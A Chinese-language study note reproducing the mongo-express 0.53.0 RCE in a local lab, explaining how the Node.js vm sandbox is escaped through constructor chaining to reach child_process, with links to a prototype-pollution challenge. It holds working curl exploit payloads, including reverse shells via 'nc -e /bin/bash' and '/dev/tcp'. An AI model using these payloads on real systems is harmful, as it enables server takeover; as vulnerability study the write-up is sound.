关于Nodejs的学习笔记

目前对nodejs了解并不是很多,于是就从漏洞开始吧~

mongo-express RCE

MongoDB 是一种面向文档的、介于关系型数据库和非关系型数据库的系统,Mongo-Express 则是一款图形化的 MongoDB web 客户端管理工具,使用 Node.js、Express 和 Bootstrap3 编写。

环境搭建

1
2
3
docker run -p 27017:27017 -d mongo
npm install mongo-express@0.53.0
cd node_modules/mongo-express/ && node app.js

(环境搭建本来应该很轻松的,结果虚拟机抽筋,怎么也打不开Orz)

搭建好登录后是这样子的

image-20200123141913805

如果要外网访问,则需修改mongo-express目录下的config.js(默认不存在,将config.default.js修改一下即可)

漏洞利用

1
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

因为我搭建的环境是在Linux下,所以稍微修改下payload,使它可以直接反弹shell

1
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("nc -e /bin/bash 127.0.0.1 2333")'

image-20200123142508277

漏洞分析

全局搜索了下checkValid ,在document.js中发现它调用了bson

1
2
3
4
5
6
7
8
9
10
11
exp.checkValid = function (req, res) {
var doc = req.body.document;
try {
bson.toBSON(doc);
} catch (err) {
console.error(err);
return res.send('Invalid');
}

res.send('Valid');
};

看下这个toBSON

1
2
3
4
5
6
7
8
9
10
exports.toBSON = function (string) {
var sandbox = exports.getSandbox();

string = string.replace(/ISODate\(/g, 'new ISODate(');
string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');

vm.runInNewContext('doc = eval((' + string + '));', sandbox);

return sandbox.doc;
};

vm 是Node.js 默认提供的一个内建模块,提供了一系列 API 用于在 V8 虚拟机环境中编译和运行代码。JavaScript 代码可以被编译并立即运行,或编译、保存然后再运行。看起来似乎隔离了代码执行环境,但实际上却很容易「逃逸」出去。

1
2
3
4
5
const vm = require('vm');
const sandbox = {};
const script = new vm.Script('this.constructor.constructor("return process")().exit()');
const context = vm.createContext(sandbox);
script.runInContext(context);

image-20200123151018552

执行完后直接退出了

其中

1
this.constructor.constructor("return process")()

返回了全局对象

image-20200123151405937

1
this.constructor.constructor("return process")().mainModule.require("child_process")

就是加载 child_process 啦,而 child_process 模块又有许多创建子进程的方法

1
2
3
4
5
child_process.exec(command, options)使用子进程执行命令,缓存子进程的输出,并将子进程的输出以回调函数参数的形式返回。

child_process.spawn(command[, args][, options]) 使用指定的命令行参数创建新进程。

child_process.fork(modulePath[, args][, options]) 是 spawn()的特殊形式

另一种payload

1
this.constructor.constructor("return process")().mainModule.require("child_process").exec('bash -c \"bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\"')

一道Nodejs的题目

git:https://github.com/niexinming/prototype_pullotion/

wp: https://xz.aliyun.com/t/6991

弱类型:https://blog.csdn.net/niexinming/article/details/84889275

原型污染:https://bbs.pediy.com/thread-249643.htm